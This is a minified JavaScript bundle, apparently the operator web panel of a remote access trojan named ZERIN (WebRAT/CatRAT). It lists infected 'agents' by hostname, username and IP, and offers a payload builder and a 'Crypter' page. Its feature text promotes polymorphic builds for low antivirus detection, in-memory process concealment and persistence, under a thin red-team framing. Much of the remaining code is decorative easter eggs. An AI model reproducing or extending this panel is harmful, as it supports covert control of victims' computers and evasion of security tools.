f=Eg[Math.floor(Math.random()*Eg.length)],m=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + width:${m}px;height:${h}px;background:${f}; + border-radius:${Math.random()>.5?"50%":"1px"}; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.06}s; + `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Ag=["❤️","💖","💗","💕","♥️","🌸"];let _g=0;function lA(e,t){const n=Date.now();if(n-_g<60)return;_g=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Ag[Math.floor(Math.random()*Ag.length)];const i=(Math.random()-.5)*24,a=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${a}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function Og(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function Tg(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const Mg=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function cA(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=Mg[Math.floor(Math.random()*Mg.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function uA(){const[e,t]=p.useState(()=>{try{return localStorage.getItem(Wf)==="true"}catch{return!1}}),n=p.useRef(0),r=p.useRef();p.useEffect(()=>{const a=document.documentElement.classList;return e?(a.add("femboy-theme"),Og()):(a.remove("femboy-theme"),Tg()),()=>{a.remove("femboy-theme"),Tg()}},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{oA(o.clientX,o.clientY)};return document.addEventListener("click",a,!0),()=>document.removeEventListener("click",a,!0)},[e]),p.useEffect(()=>{if(!e)return;const a=o=>{lA(o.clientX,o.clientY)};return document.addEventListener("mousemove",a),()=>document.removeEventListener("mousemove",a)},[e]),p.useEffect(()=>{if(!e)return;const a=()=>{cA(),o=setTimeout(a,8e3+Math.random()*7e3)};let o=setTimeout(a,3e3);return()=>clearTimeout(o)},[e]);const i=p.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},nA),e){if(n.current>=Cg){n.current=0,t(!1);try{localStorage.removeItem(Wf)}catch{}iA()}return}if(n.current>=15&&aA(n.current-14),n.current>=Cg){n.current=0,t(!0);try{localStorage.setItem(Wf,"true")}catch{}rA(),sA(),Og()}},[e]);return{isActive:e,handleStatusClick:i}}const Lg=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function dA(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),a=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.08,t+.1),a.gain.setValueAtTime(.08,t+.8),a.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(a).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function fA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function pA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` + position:absolute;left:0;right:0;height:2px; + top:${n*13}%; + background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); + box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; + opacity:0; + animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; + `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,a=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` + position:absolute;left:${a}%;top:${o}%; + width:${i}px;height:${i}px; + background:${u};border-radius:50%; + box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; + --synth-dx:${l}px;--synth-dy:${c}px; + animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; + `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let Ig=0,Uf=0;function mA(e,t){const n=Date.now();if(n-Ig<40)return;Ig=n,Uf=(Uf+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=Uf<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function hA(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,a=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` + left:${a}vw;width:${i}px;height:${i}px; + clip-path:${o}; + border:1.5px solid ${r}; + box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; + background:${r}08; + `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function xA(){const[e,t]=p.useState(!1),n=p.useRef([]),r=p.useRef();return p.useEffect(()=>{function i(a){var u,d;const o=(u=a.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=a.target)!=null&&d.isContentEditable)return;const l=a.key.length===1?a.key.toLowerCase():a.key;n.current.push(l);const c=Lg.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);Lg.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?fA():(dA(),pA()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),p.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),p.useEffect(()=>{if(!e)return;const i=a=>mA(a.clientX,a.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),p.useEffect(()=>{if(!e)return;const i=()=>{hA(),a=setTimeout(i,5e3+Math.random()*5e3)};let a=setTimeout(i,2e3);return()=>clearTimeout(a)},[e]),{isActive:e}}const vA={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},gA={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},yA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},bA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},wA={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function nd({status:e,size:t="md",showLabel:n=!1}){return s.jsxs("span",{className:"inline-flex items-center gap-2",children:[s.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block rounded-full ${vA[t]} ${yA[e]}`})]}),n&&s.jsx("span",{className:`font-mono font-medium tracking-wider ${gA[t]} ${bA[e]}`,children:wA[e]})]})}function jA({open:e,onClose:t,agents:n}){const[r,i]=p.useState(""),[a,o]=p.useState(0),l=p.useRef(null),c=rr(),u=p.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(m=>m.hostname.toLowerCase().includes(f)||m.username.toLowerCase().includes(f)||m.internal_ip.includes(f)||m.external_ip.includes(f)||m.id.toLowerCase().includes(f)).slice(0,10).map(m=>({type:"agent",id:m.id,primary:m.hostname,secondary:`${m.username} — ${m.internal_ip}`,agent:m}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);p.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),p.useEffect(()=>{o(0)},[r]);const d=p.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return p.useEffect(()=>{if(!e)return;function f(m){if(m.key==="Escape"){t();return}m.key==="ArrowDown"&&(m.preventDefault(),o(h=>Math.min(h+1,u.length-1))),m.key==="ArrowUp"&&(m.preventDefault(),o(h=>Math.max(h-1,0))),m.key==="Enter"&&u[a]&&(m.preventDefault(),d(u[a]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,a,t,d]),e?s.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[s.jsx("div",{className:"absolute inset-0 bg-black/60"}),s.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),s.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),s.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?s.jsx("div",{className:"px-4 py-8 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):s.jsxs("div",{className:"py-1",children:[!r&&s.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,m)=>s.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(m),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${m===a?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&s.jsx(nd,{status:f.agent.status,size:"sm"}),s.jsxs("div",{className:"min-w-0 flex-1",children:[s.jsx("p",{className:`text-sm font-medium truncate ${m===a?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),s.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),s.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let Gi={status:"idle",payloadName:"",startedAt:0,error:""};const gm=new Set;function rd(){gm.forEach(e=>e())}function s5(){return Gi}function o5(e){return gm.add(e),()=>gm.delete(e)}function kA(e){Gi={status:"building",payloadName:e,startedAt:Date.now(),error:""},rd()}function NA(){Gi={...Gi,status:"success"},rd()}function Dg(e){Gi={...Gi,status:"error",error:e},rd()}function Rg(){Gi={status:"idle",payloadName:"",startedAt:0,error:""},rd()}const id=p.createContext({lastMessage:null}),SA=[{to:"/dashboard",label:"Dashboard",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})}],zA={to:"/crypter",label:"Crypter",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},CA={to:"/admin",label:"Admin",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function PA(){const e=p.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return s.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>s.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function EA(){const{logout:e,isAdmin:t}=is(),r=p.useSyncExternalStore(o5,s5).status==="building",a=Qj()==="rat_crypter"||t,o=[...SA,...a?[zA]:[],...t?[CA]:[]],l=rr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:m,isSupported:h}=tA(),[x,g]=p.useState(!1),[y,v]=p.useState([]),{isActive:b,handleStatusClick:w}=uA(),{isActive:j}=xA(),[k,S]=p.useState(!1),N=p.useRef(""),z=p.useRef(null);p.useEffect(()=>{function R(V){var L,W;if(k||V.ctrlKey||V.metaKey||V.altKey)return;const $=(L=V.target)==null?void 0:L.tagName;$==="INPUT"||$==="TEXTAREA"||$==="SELECT"||(W=V.target)!=null&&W.isContentEditable||V.key.length===1&&(N.current+=V.key.toLowerCase(),N.current.length>20&&(N.current=N.current.slice(-10)),z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{N.current=""},3e3),N.current.includes("credits")&&(N.current="",S(!0)))}return window.addEventListener("keydown",R),()=>window.removeEventListener("keydown",R)},[k]),p.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const O=p.useCallback(async()=>{try{const R=await e5();v(R)}catch{}},[]);p.useEffect(()=>{O();const R=setInterval(O,15e3);return()=>clearInterval(R)},[O]);const _=p.useCallback(R=>{if(R.type==="agent_update"){const V=R.payload;v($=>{const L=$.findIndex(W=>W.id===V.id);if(L>=0){const W=[...$];return W[L]=V,W}return m("New Agent Connected",`${V.hostname} (${V.internal_ip})`),[V,...$]})}if(R.type==="event"){const V=R.payload;(V.type==="task_completed"||V.type==="task_failed")&&m("Task Update",V.message)}},[m]),{isConnected:T,lastMessage:P}=eA({onMessage:_});return p.useEffect(()=>{function R(V){(V.metaKey||V.ctrlKey)&&V.key==="k"&&(V.preventDefault(),g($=>!$))}return window.addEventListener("keydown",R),()=>window.removeEventListener("keydown",R)},[]),s.jsx(id.Provider,{value:{lastMessage:P},children:s.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[s.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[s.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:s.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"femboy-ear femboy-ear-left"}),s.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),s.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),s.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),s.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-muted border border-zerin-panel-border\r + hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r + transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Search..."}),s.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),s.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:R,label:V,icon:$})=>s.jsx(yE,{to:R,end:R==="/dashboard",className:({isActive:L})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 + ${L?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:L})=>s.jsxs(s.Fragment,{children:[L&&s.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),s.jsx("span",{className:L?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:$}),s.jsx("span",{className:"font-medium",children:V}),R==="/payloads"&&r&&s.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},R))}),s.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&s.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r + transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),s.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${T?"bg-zerin-accent":"bg-zinc-600"}`}),s.jsx("span",{className:T?"text-zerin-text-dim":"text-zerin-text-muted",children:T?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),s.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r + text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r + transition-colors duration-150`,children:[s.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[s.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),s.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),s.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),s.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:s.jsx(aE,{})}),s.jsx(jA,{open:x,onClose:()=>g(!1),agents:y}),b&&s.jsx(PA,{}),k&&s.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>S(!1),style:{animation:"credits-in 0.5s ease-out"},children:[s.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),s.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[s.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` + _______ ______ ______ _____ __ _ + / |______ |_____/ | | \\ | + / |______ | \\_ __|__ | \\_| + `}),s.jsxs("div",{className:"space-y-4 mb-10",children:[s.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),s.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),s.jsx("style",{children:` + @keyframes credits-in { + from { opacity: 0; } + to { opacity: 1; } + } + @keyframes glitch-appear { + 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } + 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } + 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } + } + @keyframes credits-glow { + from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } + to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } + } + @keyframes credit-slide { + from { opacity: 0; transform: translateY(15px); } + to { opacity: 1; transform: translateY(0); } + } + `})]})]})})}const AA=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let k=0;k{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function _A(e,t=40,n=0){const r=p.useRef(null),i=p.useRef(null),[a,o]=p.useState(!1);return p.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:a}}const OA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 